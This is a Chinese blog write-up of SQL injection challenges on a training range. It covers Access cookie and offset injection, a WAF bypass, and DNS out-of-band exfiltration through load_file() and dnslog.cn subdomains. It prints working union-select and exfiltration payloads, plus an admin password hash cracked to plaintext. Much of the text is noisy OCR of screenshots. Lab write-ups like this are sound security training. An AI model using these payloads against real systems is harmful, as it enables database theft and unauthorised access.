# 【封神台】数据库注入 wp

# 原创

<u> 孤桜懶契</u> ● 于 2021-08-15 16:54:26 发布 ● 96 ☆ 收藏 2
 分类专栏: <u>CTF</u> 文章标签: <u>安全漏洞</u>
 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。
 本文链接: <u>https://blog.csdn.net/qq\_35938621/article/details/119716111</u>





CTF 专栏收录该内容

13 篇文章 0 订阅 订阅专栏

### 前言

• 掌控安全里面的靶场数据库注入,练练手!

## Access——Cookie注入

- 环境http://59.63.200.79:8004/
- 正常情况Cookie注入是可以通过post传参测试的



• 上面通过改id的参数发现可以cookie注入,废话不多说,抓包, sqlmap走起

| 1 ×  |     |
|--|-----|
| Send Cancel <   v >   v  |     |
| Request III III  | INS |
| Pretty Raw Hex \n =  | Qu  |
| 1 GET /ProductShow.asp? HTTP/1.1   | Boy |
| 2 Host: 59.63.200.79:8004<br>3 Cache-Control: max-age=0  |     |
| 4 Upgrade-Insecure-Requests: 1<br>5 Hann-Areat: Marilla (5.0 (Windows NT 10.0, Windows r64) Annlewsky://527.26 (WERM, like Cooks) Chrome/01.0 4472 124 Seferi/527.26 | Rec |
| 6 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/appg, */*;q=0.8, application/signed-exchange;v=b3;q=0.9             | Rec |
| 7 Referer: http://59.63.200.79:8004/Product.asp<br>8 Accept-Encoding: gzip. deflate  | Res |
| 9 Accept-Language: zh-CN, zh;q=0. 9  |     |
| 10 COORIE: ASPSESSIONIDSSCARIAE=GUFFRMECPFJJNCOMIPPHCULD;ID=105<br>11 Connection: close  |     |
| 12   |     |
| 可协会粉   |     |
| (2) 锁 ← → Search 0 match   | ies |
|  |     |
| Response   |     |
| Pretty Raw Hex Render \n =   |     |
|  |     |
|  |     |
| 资质证书   |     |
|  |     |
|  |     |
| 黑客安全渗透体系课程   |     |
| 现在点击免费学!   |     |
|  |     |
|  |     |
|  |     |
| Uone   |     |
|  |     |
|  |     |



| Databa<br>Table<br>[1 ent | ase: <current><br/>: admin<br/>try]</current> |       | ar passion | a (5) 10ana      |  |
|---------------------------|---|-------|------------|------------------|--|
| id                        | product_id                                    | title | username   | password         |  |
| 1                         | 3611132716                                    | g:h?  | admin      | b9a2a2b5dffb918c |  |
| <b>*</b>                  | F   |       |            | ++               |  |

• MD5解密b9a2a2b5dffb918c ——> welcome直接登录管理员账号



使用sqlmap是没有灵魂的

突然看到这个决定还是尝试下手注,字段明显有10个

| Hex Render \n =                 |  | Selection (21)             |
|---------------------------------|--|----------------------------|
|                                 |  | SELECTED TEXT              |
| 福建博均雕塑肌<br>FUJIAN BOJUN DIAOSHU | 兑胎漆器有限公司<br>TUOTAIQIQU LIMITED COMPANY             | 171%20order%20by%2010      |
| 网站营行                            | 5   圣王来约   齐昆山小   紫河山小   紫白家纲   左维密言   联系来约        | DECODED FROM: URL encoding |
|                                 |  | 171 order by 10            |
|                                 |  | Cancel                     |
|                                 |  | Ottery Parameters (0)      |
|                                 |  | Remove                     |
|                                 | 无法加载插杆。  | Body Parameters (0)        |
|                                 |  | Request Cookies (2)        |
|                                 |  | NAME VALUE                 |
|                                 |  | ID 171 order               |
| 1 新闻中心                          | 美国机械业巨头米拉克龙裁员130人                                  | Remove                     |
| 企业新闻                            | 美国机械业巨头米拉克龙裁员130人                                  | Request Headers (9)        |
| 行业新闻                            |  | Response Headers (7)       |
| 技术资料                            | 22/中海: aomin 22/中可回回: 2009-8-24 13:36:27 周雲: 4143次 | NAME VALUE                 |

| sponse                     |  |  |              | INSPECTOR            |                          | ?     |
|----------------------------|--|--|--------------|----------------------|--------------------------|-------|
| Pretty Raw Hex Re          | nder \n 🗮  |  |              | Selection (21)       |                          | ~     |
| State of the second second | A to be a second s | 5                                      |              | SELECTED TEXT        |                          |       |
|                            | 福建博均雕塑<br>FUJIAN BOJUN DIAOSHU   | 脱胎漆器有限公司<br>TUOTAIQIQU LIMITED COMPANY |              | 171820order820by820  | )11                      |       |
| <b>.</b>                   | 网站首  | 雨   关于我们   夹品山心   新洲山心   家白索。          |              | DECODED FROM: U      | /RL encoding ❤           | ⊕     |
| Muiba.                     |  |  |              | 171 order by 11      |                          |       |
|                            |  |  |              | Canc                 | el Apply chan            | iges  |
|                            |  |  |              | Query Parameters (0) |                          | ~     |
|                            |  |  |              | Ren                  | nove 🔺 🔽 Add             | I     |
|                            |  |  |              | Body Parameters (0)  |                          | ,     |
|                            |  |  |              | Ren                  | nove 🔺 🗸 Add             | l     |
|                            |  |  |              | Request Cookies (2)  |                          | ,     |
|                            |  |  |              | NAME                 | VALUE                    |       |
|                            |  | 物理房中进                                  |              | ASPSESSIONIDSSCART   | . CEBPKMECIMGELLPOA      |       |
|                            | 间中心  | KOR-FLITE                              |              | ID                   | 171 order by 11          | >     |
|                            |  |  | 打印本页    关闭窗口 | Ken                  |                          |       |
| - <u>1899</u>              | 湖州国  |  |              | Request Headers (9)  |                          | ~     |
| ·行业                        | 新闻   |  |              | Response Headers (7) |                          | ~     |
| ·技术                        | 造料   |  |              | NAME                 | VALUE                    |       |
| 产品                         | 问答   |  |              | Connection           | close                    | >     |
|                            |  |  |              | Date                 | Tue, 27 Jul 2021 09:18:4 | 42. > |
| (Part                      | 🔬 资质证书   |  |              | Server               | Microsoft-IIS/6.0        | ,     |
| 10/10-0                    |  |  |              |                      | 11.183 bytes  -          | 419 m |

对了,Access表的查询语法必须包含表,不然就语法不对,所以得用exist爆破表,我这里先猜表里有admin,可以 看到有好几个注入点

|   | Response   |   |
|---|--|---|
| ŧ | Pretty Raw Hex Render \n =                                       | Selection (77)  |
|   |  | SELECTED TEXT   |
|   | 网站首页   关于我们   产品中心   新闻中心   客户案例   在线留言   联系我们                   | 171.1%20union%20select%201%2c2%2c3%2c4%<br>2c5%2c6%2c7%2c8%2c9%2c0%20from%20admin |
|   |  | DECODED FROM: URL encoding V  |
|   |  | 171.1 union select 1,2,3,4,5,6,7,8,9,0 from admin                                 |
| r | 无法加载福件。  | Cancel Apply change   |
|   |  | Query Parameters (0)  |
|   |  | Remove A V Add  |
|   |  | Body Parameters (0)   |
|   |  | Remove A V Add  |
|   | ● 新闻中心 ■ 2   | Request Cookies (2)   |
|   | 企业新闻   | NAME VALUE  |
|   | 行业新闻   | ASPSESSIONIDSSCART CEBPKMECIMGELLPOA  |
|   | 发布者:7发布时间:3 圆读:9次  | Remove  |
|   |  |   |
|   | 7年前问音 3  | Request Headers (9)   |
|   | 帝原证书     帝原证书     帝原证书     帝原证书     ○                            | 🔮 📟 🏪 👕 🏭 rs (7)  |
|   | 打印本页    关闭窗口   | NAME VALUE  |
|   |  | Connection close  |
| 1 | 学 <mark>好安全学院</mark> 。2014年1月1日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日日 | Date Tue, 27 Jul 2021 09:18:42.   |

#### • 试着爆出表,利用exists来判断表是否存在

select 1 and exists(select \* from pre\_ucenter\_members);

| eql> select 1 and exists(select * from pre_ucent<br>-> : | ter_members)     |
|--|------------------|
| and exists(select * from pre_ucenter_members)            | -+<br>  <b>I</b> |
| 1  | -+<br> <br>-+    |
| (0, 01, acc)   |                  |



#### ) Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

|       | Request | Payload      | Status | Error | Timeout | Length $\sim$ | Comment |
|-------|---------|--------------|--------|-------|---------|---------------|---------|
| 0     |         |              | 200    |       |         | 14058         |         |
| ole 1 |         | admin        | 200    |       |         | 14058         |         |
| 8     |         | admin'or''=' | 200    |       |         | 14058         |         |
| or 9  |         | user         | 200    |       |         | 14058         |         |
| 4     | 4       | ADMIN        | 200    |       |         | 14058         |         |
| 1     | 82      | NEWS         | 200    |       |         | 13991         |         |
|       |         | 11 IS        |        |       |         |               |         |



|         | 密文: t | 9a2a2b5dffb | 918c |    |                |  |
|---------|-------|-------------|------|----|----------------|--|
|         | 类型:   | 自动          |      |    | ✓ [ <u>帮助]</u> |  |
|         |       |             | 查询   | 加蜜 |                |  |
|         |       |             |      |    |                |  |
|         |       |             |      |    |                |  |
| 查询结果:   |       |             |      |    |                |  |
| welcome |       |             |      |    |                |  |
|         |       |             |      |    |                |  |

## Access——Cookie偏移注入

- 环境: http://59.63.200.79:8004/
- 偏移注入原理:当我们知道一个表名后,比如 admin表,我们就可以用 admin. *来表示 admin 当中的所有字段。 admin. =>* usernme,password,id (admin表里面所有的字段)。当这个操作可以实现的时候,就表示存在偏移注入。然后我们可以判断字 段数,找出回显点,把admin表里面的字段,一个一个往回显点上套,就可以显示出我们需要的数据。
- 首先这个页面的字段数有26个

| ▲ 不安全   59.63.200.79:8004/Pr       | oductShow.asp?                          |                        |                   |            |       |                        |         |             |            |           | @ ☆ (    | . 🔩  |
|------------------------------------|---|------------------------|-------------------|------------|-------|------------------------|---------|-------------|------------|-----------|----------|--|
| VASETA  Palmito 💶 YouTube 🔇        | 1(7).jpg (28×28)   M Gmail              | Ҟ 地图 🛛 YouTu           | ibe Ҟ 地图 🎵        | 在线客服 券     | 1     | Ŵ                      | C       | +           | ⇒          | •         | Q        | and the second s |
|                                    |   |                        |                   | [          | http: | //59.63.200            | 79:8004 | /ProductSho | w.asp?     |           |          |  |
|                                    |   |                        |                   |            | ▶ 5   | 9.63.200.79            | ASPS    | SESSIONIDS  | SABTRDSD   |           |          |  |
|                                    |   |                        |                   | . 1        | • 5   | 9.63.200.79            | ASPS    | SESSIONIDS  | SCARTAB    |           |          |  |
|                                    |   |                        |                   | <b>r</b> [ | * 5   | 9.63.200.7             | 9   ID  |             |            |           |          |  |
|                                    |   | A                      | Adobe Flash Play  | er 已不再受了   | 凬     | 值                      |         |             |            |           |          |  |
|                                    |   |                        |                   |            |       | 105%20or               | der%20  | by%2026     |            |           |          |  |
|                                    |   |                        |                   |            |       |                        |         | <b>†</b>    |            |           |          |  |
|                                    |   |                        |                   |            | 0     | 域名                     |         | _           |            |           |          |  |
|                                    |   |                        |                   |            |       | 59.63.200              | .79     |             |            |           |          |  |
| Insurant and a state               | AND | and the second         | and the states    | 1000       |       | 路径<br>/                |         |             |            |           |          |  |
| - 产品中                              | ė <mark>с</mark>                        | 产品展示                   |                   |            |       | ,<br>过期时间              |         |             |            |           |          |  |
| ·机械零件产品                            | <b>a</b>                                | 扣城東供玄미 >> 1            | 비배큐/// 호미         |            |       | Wed Jul 27<br>SameSite | 2022 1  | 0:55:58 GM1 | F+0800 (GN | 1T+08:00) |          |  |
| ·机械配件产品                            |   | 1/01/76-92-117/000771  | 1/0/m/~~~1°T7/ дд |            |       |                        |         |             |            |           |          |  |
| ·汽车零件产品                            | 12                                      |                        |                   |            |       | hostOnly               | (       | session (   | 4          | 安全 📄      | httpOnly |  |
| /UploadFiles/200936111824355.jpg 記 | 4                                       |                        |                   |            |       |                        |         |             |            |           |          |  |
| nts Console Sources Network        | Performance Memory A                    | upplication Lighthouse | e EditThisCookie  | HackBar    |       |                        |         |             | •          |           |          |  |
| Encoding - SQL - XSS - L           | FI - XXE - Other -                      |                        |                   |            |       |                        |         |             |            |           |          |  |
|                                    |   |                        |                   |            |       |                        |         |             |            |           |          |  |
| 105 order by 26                    |   |                        |                   |            |       |                        |         |             |            |           |          |  |
|                                    | 、 有26个                                  | 子段                     |                   |            |       |                        |         |             |            |           |          |  |
| 🗆 Post data 🗆 Referer 🗆 I          | Iser Agent 🖂 Cookies                    | Clear All              |                   |            |       |                        |         |             |            |           |          |  |
| 0                                  |   |                        |                   |            |       |                        |         |             |            |           |          |  |
|                                    |   |                        |                   |            |       |                        |         |             |            |           |          |  |
|                                    |   |                        |                   |            |       |                        |         |             |            |           |          |  |

• 然后我测出admin表中有16个字段

|                   |                           | _               |  | $\times$  |
|-------------------|---------------------------|-----------------|--|---|
| > Encoder         | Decoder                   | <u>http:/</u>   | /www.nc  | sec.org   |
| dmin order by 16) |                           |                 |  |   |
|                   |                           |                 |  |   |
|                   |                           |                 |  |   |
|                   |                           |                 |  |   |
|                   |                           |                 |  | _   |
| ect%20%2A%20      | from%20a                  | dmin%2          | 20order  |   |
|                   |                           |                 |  |   |
|                   |                           |                 |  |   |
|                   |                           |                 |  |   |
|                   |                           |                 |  |   |
|                   | Encoder dmin order by 16) | Encoder Decoder | Encoder C Decoder http://<br>dmin order by 16) | Encoder C Decoder <u>http://www.nc</u><br>dmin order by 16) |

| .200.79:8004/ProductShow.asp?  |   |             |                           |                |            |          | ⊕ ☆      | ) 🗖 🔩 🍕    |
|--|---|-------------|---------------------------|----------------|------------|----------|----------|------------|
| 🛛 YouTube 🔇 1(7).jpg (28×28) M Gma   | ail 🕺 地图 💿 YouTube 🐹 地图 <u>D</u> 在线客服 岗 | ť           | <b>۲</b>                  | +              | ⇒          | •        | Q        | J.C.       |
|  |   | http:/      | /59.63.200.79:8004        | 4/ProductShow  | /.asp?     |          |          |            |
|  | Adobe Flash Player 已不再受了                | ▶ 59        | .63.200.79   ASP          | SESSIONIDS/    | ABTRDSD    |          |          |            |
|  |   | ▶ 59        | .63.200.79   ASP          | SESSIONIDSS    | SCARTAB    |          |          |            |
|  |   | <b>•</b> 59 | .63.200.79   <b>ID</b>    |                |            |          |          |            |
|  |   | की (        | 直                         |                |            |          |          |            |
|  |   |             | 105%20and%20e             | xists%28select | %20%2A%    | 20from%2 | 0admin%2 | 0order%20b |
| CARLEN STREET, |   |             | y%2016%29                 |                |            |          |          |            |
| ▶ ■ 产品中心   | ■ 产品展示                                  | 0           |                           |                |            |          |          | //         |
| ·机械零件产品  |   | t           | 或名                        |                |            |          |          |            |
| ·机械配件产品  | が11税零件广品 >> が11税零件广品                    | 5           | 59.63.200.79<br>路径        |                |            |          |          |            |
| ·汽车零件产品  |   | [           | /                         |                |            |          |          |            |
| . 特感汽车配件   |   | ì           | 过期时间<br>Wed lul 27 2022 1 | 11.00.20 GMT   | 0800 (GM   | T+08.00) |          |            |
|  | 8                                       | 5           | SameSite                  | 1.00.29 01114  | 10000 (011 | 1400.00) |          |            |
| 资质证书   | No.                                     | l           |                           |                |            |          |          | ~          |
| Jebene 19  |   | ł           | nostOnly 🖌                | session 🖌      | 3          | 全 🗌      | httpOnly | у 🔲        |
|  |   |             |                           |                |            |          |          |            |

- 也就是说26-16=10,admin表要从第11个开始
- 记得要加admin表, Access数据库不支持不带表查询

| 🧾 Encoder   | _                            |                  | ×              |
|---|------------------------------|------------------|----------------|
| URI 💌 🗲 Encoder 📢   | Decoder http:                | //www.n          | osec.org       |
| 105 union select<br>1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18<br>admin   | 3,19,20,21,22,23,            | 24,25,26         | ; from         |
| 105%20union%20select<br>%201%2C2%2C3%2C4%2C5%2C6%2C7%20<br>2C13%2C14%2C15%2C16%2C17%2C18%2C<br>%2C24%2C25%2C26%20from%20admin | C8%2C9%2C10%<br>19%2C20%2C21 | 2C11%2<br>%2C22% | 2C12%<br>62C23 |

#### • 找到回显点

| 产品中心     ア品展示                                      |   |
|--|---|
| · 別概要件产品         3 >> 5 >> 7           - 別標表/(大安日) |   |
| *の小根室(1+)でお  | 7 |
|  |   |
| 资质证书<br>● 点击进入<br>掌控安全学院<br>黑音安全渗透体系课程<br>现在点击免费学! |   |

• 放在1前面,可以显示4个admin的数据

| 📃 Encoder   | _             |           | ×         |
|---|---------------|-----------|-----------|
| URI   Encoder  Ceco   | der <u>ht</u> | tp://www. | nosec.org |
| 105 union select admin.*,1,2,3,4,5,6,7,8,9,10 from ad                     | lmin          |           |           |
|   |               |           |           |
|   |               |           |           |
|   |               |           |           |
|   |               |           |           |
| 105%20union%20select%20admin%2E%2A<br>%2C1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C | 9%2C1         | 0%20from  | n         |
| %20admin  |               |           |           |
|   |               |           |           |
|   |               |           |           |
|   |               |           |           |

| ▲ 不安全   59.63.200.79:8004/Pro   | ductShow.asp   | ?                                      |      |  |           |  |  |         |                 | \$           |        | , |
|---|--|--|------|--|-----------|--|--|---------|-----------------|--------------|--------|---|
| VASETA  Palmito 💿 YouTube 🔇 1   | (7).jpg (28×28)  | M Gmail                                | 🔀 地图 | YouTube                                | ጀ 地图      | JD 在线客服  | 券 折扣券吧-每天千款  | M Gmail | 🄰 Twitter —— 聚焦 | 🌛 首页 - MYI   | FREEMP |   |
| VASETA  Palmito 2 YouTube ② 1<br>中<br>·<br>·<br>·<br>·<br>·<br>·<br>·<br>·<br>·<br>·<br>·<br>·<br>· | (7).jpg (28×28)<br>品中心<br>四件产品<br>3件产品<br>3件で品<br>3件で品<br>3件で合<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第一次<br>5<br>第<br>第一次<br>5<br>第<br>第一次<br>5<br>第<br>第一次<br>5<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第<br>第 | M Gmail<br>H<br>サ<br>ブ<br>大<br>、<br>課程 | ★ 地图 | C YouTube<br>Ad<br>وجہ<br>م2b5dffb918c | ebe Flash | <ul> <li>          在线索服      </li> <li>         Player 已不再3         </li> <li>         85.227.128 &gt;         </li> <li>         20       </li> </ul> | 券 折扣券吧-每天千款<br>受支持<br>> 2003-9-25 23:13:38<br>03-9-25 23:13:38 | M Gmail | ♥ Twitter —— 聚焦 | i 🤌 首页 - MYI | FREEMP |   |



• 环境http://59.63.200.79:8014/index3.php

#### • 一打开发现就直接waf拦截

| <ul> <li>← → C ▲ 不安全   59.63.200.79:8014/index3.php</li> <li>説 应用 	 WASETA  Palmito ■ YouTube 	 1(7).jpg (28×28) M Gmail</li></ul> | 图 💿 YouTube 🔣 地图 顶 在线客服 券 折扣券吧-每天干款 M Gmail 🎐 Twitter —— 聚焦 。  | ☆ 🗔 🍖 🥹<br>書页 - MYFREEMP |
|--|--|--------------------------|
|  | 网站防火结           您的请求带有不含法参数,已被网站管理员设置拦截:           可能原因: 您想交的内容包含危险的攻击请求           如何解決:           1) 检查提交内容;           2) 如网站托管,请联系空间提供商;           3) 普通网站访客,请联系网站管理员; |                          |

• 发现是个老版本的waf,可以用.txt来绕过



• 然后就是常规的注入测试了,为2个字段



- 但是发现报错不回显,只能思考盲注了, sleep明显刷了5秒,所以是时间盲注,但是题目提醒是DNS注入,所以
- 地址: http://dnslog.cn 获取地址
  - 漏洞原理
  - Dns注入 => 让盲注变成显错注入
  - 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出 来。
  - 对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
  - 所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

#### load\_file() 支持UNC路径

//a.zkaq.cn/abc => a.zkaq.cn服务器某个端口 DNS => a.zkaq.cn 日志 => 日记 记录操作、记录访问的文件

#### DNS可能日志 =>

某时某分谁谁谁请求我查某某域名如果我们搭建一个DNS服务器来承接域名解析。所有的访问域名都会被我们的日志记录下来

域名 => 由运营商解析。修改域名的设置方法,强行执行某个Ip去解析域名 NS记录 固定的域名 由固定的DNS服务器解析

http://dnslog.cn/前辈开发的DNS平台,避免了上述麻烦的操作

#### Get SubDomain Refresh Record

#### y4duda.dnslog.cn

| DNS Query Record           | IP Address     | Created Time        |
|----------------------------|----------------|---------------------|
| 134155123.y4duda.dnslog.cn | 120.202.250.20 | 2021-07-27 11:39:38 |
| 134155123.y4duda.dnslog.cn | 211.137.50.54  | 2021-07-27 11:39:38 |
| 134155123.y4duda.dnslog.cn | 120.202.250.22 | 2021-07-27 11:39:38 |
| 123.y4duda.dnslog.cn       | 120.202.250.20 | 2021-07-27 11:39:28 |
| 123.y4duda.dnslog.cn       | 120.202.250.22 | 2021-07-27 11:39:27 |
| 123.y4duda.dnslog.cn       | 211.137.50.54  | 2021-07-27 11:39:27 |
| y4duda.dnslog.cn           | 120.202.250.20 | 2021-07-27 11:39:19 |
| y4duda.dnslog.cn           | 120.202.250.21 | 2021-07-27 11:39:19 |
| y4duda.dnslog.cn           | 120.202.250.20 | 2021-07-27 11:39:19 |
| y4duda.dnslog.cn           | 211.137.50.54  | 2021-07-27 11:39:19 |

← → C ▲ 不安全 | 123.y4duda.dnslog.cn
 喩 ☆ 思 え ※ ●
 ※ 四 次 2 (7).jpg (28×28) M Gmail 2 地図 O YouTube 2 地図 D 在线客服 券 折扣券吧-每天千款... M Gmail Y Twitter ---- 聚焦... 参 首页 - MYFREEMP... \* 図

#### laptop-g9ff9j5g\23242

Fag.php Fatal error: Uncaught Error: Function name must be a string in D:\phpstudy8\WWW\Index.php:11 Stack trace: #0 {main} thrown in D:\phpstudy8\WWW\Index.php on line 11

#### • 测试一下load\_file直接访问dns解析来获取地址

load\_file('//demo.uf7elz.dnslog.cn/abc')
//就是UNC路径访问共享demo.uf7elz.dnslog.cn的服务器下的共享文件夹abc



| Get SubDomain             | Refresh Record |                     |
|---------------------------|----------------|---------------------|
| uf7elz.d                  | nslog.cn       |                     |
| DNS Query Record          | IP Address     | Created Time        |
| ccbbbcc.uf7elz.dnslog.cn  | 59.63.230.105  | 2021-07-27 11:52:39 |
| ccbbbcc.uf7elz.dnslog.cn  | 59.63.230.105  | 2021-07-27 11:52:39 |
| cccc.uf7elz.dnslog.cn     | 59.63.230.106  | 2021-07-27 11:52:19 |
| chine.uf7elz.dnslog.cn    | 59.63.230.106  | 2021-07-27 11:51:47 |
| demo.uf7elz.dnslog.cn     | 173.194.171.10 | 2021-07-27 11:49:45 |
| <br>demo.uf7elz.dnslog.cn | 59.63.230.106  | 2021-07-27 11:49:45 |
| demo.uf7elz.dnslog.cn     | 59.63.230.106  | 2021-07-27 11:49:45 |
| ccc.uf7elz.dnslog.cn      | 120.202.250.20 | 2021-07-27 11:48:15 |
| ccc.uf7elz.dnslog.cn      | 120.202.250.21 | 2021-07-27 11:48:15 |
| ccc.uf7elz.dnslog.cn      | 120.202.250.21 | 2021-07-27 11:48:15 |
|                           |                |                     |

• 注意一点, 自测的时候, load\_file是需要单独开启的, 否则是无法使用的

• 构造一个语句来报错注入,利用concat连接起来,查数据库

http://59.63.200.79:8014/index3.php/1.txt?id=1 and load\_file(concat('//',(select database()),'.uf7elz.dnslog.cn
/abc'))

| DNS Query Record IP Address Cu<br>mangzhu.uf7elz.dnslog.cn 59.63.230.106 2021- | reated Time     |
|--|-----------------|
| mangzhu.uf7elz.dnslog.cn 59.63.230.106 2021-                                   |                 |
|  | -07-27 11:58:16 |
| 123.uf7elz.dnslog.cn 74.125.186.201 2021-                                      | -07-27 11:58:00 |
| ccbbbcc.uf7elz.dnslog.cn 59.63.230.105 2021-                                   | -07-27 11:52:39 |
| ccbbbcc.uf7elz.dnslog.cn 59.63.230.105 2021-                                   | -07-27 11:52:39 |
| cccc.uf7elz.dnslog.cn 59.63.230.106 2021-                                      | -07-27 11:52:19 |
| chine.uf7elz.dnslog.cn 59.63.230.106 2021-                                     | -07-27 11:51:47 |
| demo.uf7elz.dnslog.cn 173.194.171.10 2021-                                     | -07-27 11:49:45 |
| demo.uf7elz.dnslog.cn 59.63.230.106 2021-                                      | -07-27 11:49:45 |
| demo.uf7elz.dnslog.cn 59.63.230.106 2021-                                      | -07-27 11:49:45 |
| ccc.uf7elz.dnslog.cn 120.202.250.20 2021-                                      | -07-27 11:48:15 |
|  |                 |
|  |                 |

#### • 就直接查表

http://59.63.200.79:8014/index3.php/1.txt?id=1 and load\_file(concat('//',(select table\_name from information\_sc hema.tables where table\_schema=database() limit 0,1),'.l6xxex.dnslog.cn/abc'))

| admin       | <sub>字段获</sub> 得<br>NS | Log.cr             | 7                   |  |
|-------------|------------------------|--------------------|---------------------|--|
|             | Get SubDom             | ain Refresh Record |                     |  |
| •           | DNS Query Record       | IP Address         | Created Time        |  |
| admin.l6x   | ex.dnslog.cn           | 173.194.93.4       | 2021-07-27 12:03:18 |  |
| 5.5.53.l6xx | ex.dnslog.cn           | 172.217.43.198     | 2021-07-27 12:02:12 |  |
| mangzhu.l   | 6xxex.dnslog.cn        | 59.63.230.105      | 2021-07-27 12:00:19 |  |
|             |                        |                    |                     |  |

• 看看还有没有其他的表, 抓包

跑一下

|                        | and f          |                     |
|------------------------|----------------|---------------------|
|                        |                |                     |
|                        |                |                     |
| Get SubDomai           | Refresh Record |                     |
| l6xxex                 | .dnslog.cn     |                     |
| DNS Query Record       | IP Address     | Created Time        |
| news.l6xxex.dnslog.cn  | 59.63.230.106  | 2021-07-27 12:10:28 |
| news.l6xxex.dnslog.cn  | 173.194.93.2   | 2021-07-27 12:10:28 |
| ews.l6xxex.dnslog.cn   | 74.125.186.201 | 2021-07-27 12:10:27 |
| admin.l6xxex.dnslog.cn | 172.253.6.2    | 2021-07-27 12:09:53 |
| admin.l6xxex.dnslog.cn | 59.63.230.106  | 2021-07-27 12:06:34 |
| admin.l6xxex.dnslog.cn | 74.125.186.202 | 2021-07-27 12:06:34 |
| id.l6xxex.dnslog.cn    | 59.63.230.106  | 2021-07-27 12:05:42 |
| Id.I6xxex.dnslog.cn    | 173.194.93.3   | 2021-07-27 12:05:42 |
|                        |                |                     |

#### • 就admin有用,那就看看admin的字段

http://59.63.200.79:8014/index3.php/1.txt?id=1 and load\_file(concat('//',(select column\_name from information\_s
chema.columns where table\_schema=database() and table\_name='admin' limit 3,1),'.l6xxex.dnslog.cn/abc'))

## VIIZEVYIII

### 测了下有两个有用的字段

| Get SubDomain Refresh Record |
|------------------------------|
|                              |
| loxxex.anslog.cn             |

| DNS Query Record          | IP Address    | Created Time        |
|---------------------------|---------------|---------------------|
| password.l6xxex.dnslog.cn | 59.63.230.106 | 2021-07-27 12:13:20 |
| password.l6xxex.dnslog.cn | 74.125.41.2   | 2021-07-27 12:13:20 |
| username.l6xxex.dnslog.cn | 59.63.230.106 | 2021-07-27 12:13:10 |

#### • 查flag

http://59.63.200.79:8014/index3.php/1.txt?id=1 and load\_file(concat('//',(select password from admin),'.l6xxex.
dnslog.cn/abc'))

|         |                              | 2                  |                     |
|---------|------------------------------|--------------------|---------------------|
|         | Get SubDoma                  | ain Refresh Record |                     |
|         | l6xxe                        | ex.dnslog.cn       |                     |
|         | DNS Query Record             | IP Address         | Created Time        |
|         | 1flag1good1.l6xxex.dnslog.cn | 59.63.230.106      | 2021-07-27 12:15:03 |
|         | flag.l6xxex.dnslog.cn        | 59.63.230.106      | 2021-07-27 12:14:18 |
| 找到Iflag | password.l6xxex.dnslog.cn    | 59.63.230.106      | 2021-07-27 12:13:20 |
| JATING  | password.l6xxex.dnslog.cn    | 74.125.41.2        | 2021-07-27 12:13:20 |
|         | username.l6xxex.dnslog.cn    | 59.63.230.106      | 2021-07-27 12:13:10 |
|         | news.l6xxex.dnslog.cn        | 59.63.230.106      | 2021-07-27 12:10:28 |
|         | news.l6xxex.dnslog.cn        | 173.194.93.2       | 2021-07-27 12:10:28 |
|         | ews.l6xxex.dnslog.cn         | 74.125.186.201     | 2021-07-27 12:10:27 |
|         | admin.l6xxex.dnslog.cn       | 172.253.6.2        | 2021-07-27 12:09:53 |
|         | admin.l6xxex.dnslog.cn       | 59.63.230.106      | 2021-07-27 12:06:34 |

总结一下,虽然可以很简单的把盲注变报错注入,但是条件不是很理想。首先目标得带有SMB服务(共享文件),windows自带,linux不自带,目标得有网络。还得开启了文件读取的函数功能。

## MSSQL——显错注入和反弹注入

- 环境 http://59.63.200.79:8015/?id=1
- 这个靶场存在两种方式的注入。
- 第一种是显错注入形式

P

• 需要严格注意的是MSSQL中对数据类型有严格的要求,猜测输出点的时候填充点用NULL填充

#### • 判断字段

| rer的逐渐自动 设置ID主键自增?在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table tableName( id int identity(1,1) primary | kev. data varchar(50) ) /*   |
|--|--|
| ruentity(1,1)机定日40归山,弗兰丁多致定种丁国,弗二丁定归重国, primary key是土健 "/  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
| 二个字段   |  |
|  |  |
|  |  |
| rowser tools (fillight   |  |
| Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar               | <b>2</b>   |
| xoding + SQL + XSS + LFI + XXE + pher +  | Help   |
|  |  |
|  |  |
|  |  |
| row<br>C<br>cod  | 三个字段<br>seritools 80%或<br>onsole Sources Network Performance Memori Application Lighthouse EditThisCookie HackBar<br>ing * SQL * XSS * LFI * XXE * other *<br>tp://59.63.200.79:8015/7/id=1' order by 3-+* |

#### • 判断填充数据类型

| <b>4</b>      | Title             | Body  |
|---------------|-------------------|---|
| 怎么让SQ<br>增长呢? | LServer的逐渐自动      | 设置ID主键自增?在创建表的时候就可以。在新增数据的时候就不需要对ID进行赋值了 create table tableName( id int identity(1,1) primary key, d identity(1,1)就是自动增加,第一个参数是种子值,第二个是增量值; primary key是主键 */ |
|               |                   | ·   |
|               |                   |   |
|               |                   |   |
|               |                   |   |
|               |                   |   |
|               |                   |   |
|               |                   |   |
|               |                   | 的训练大学现实的研究  |
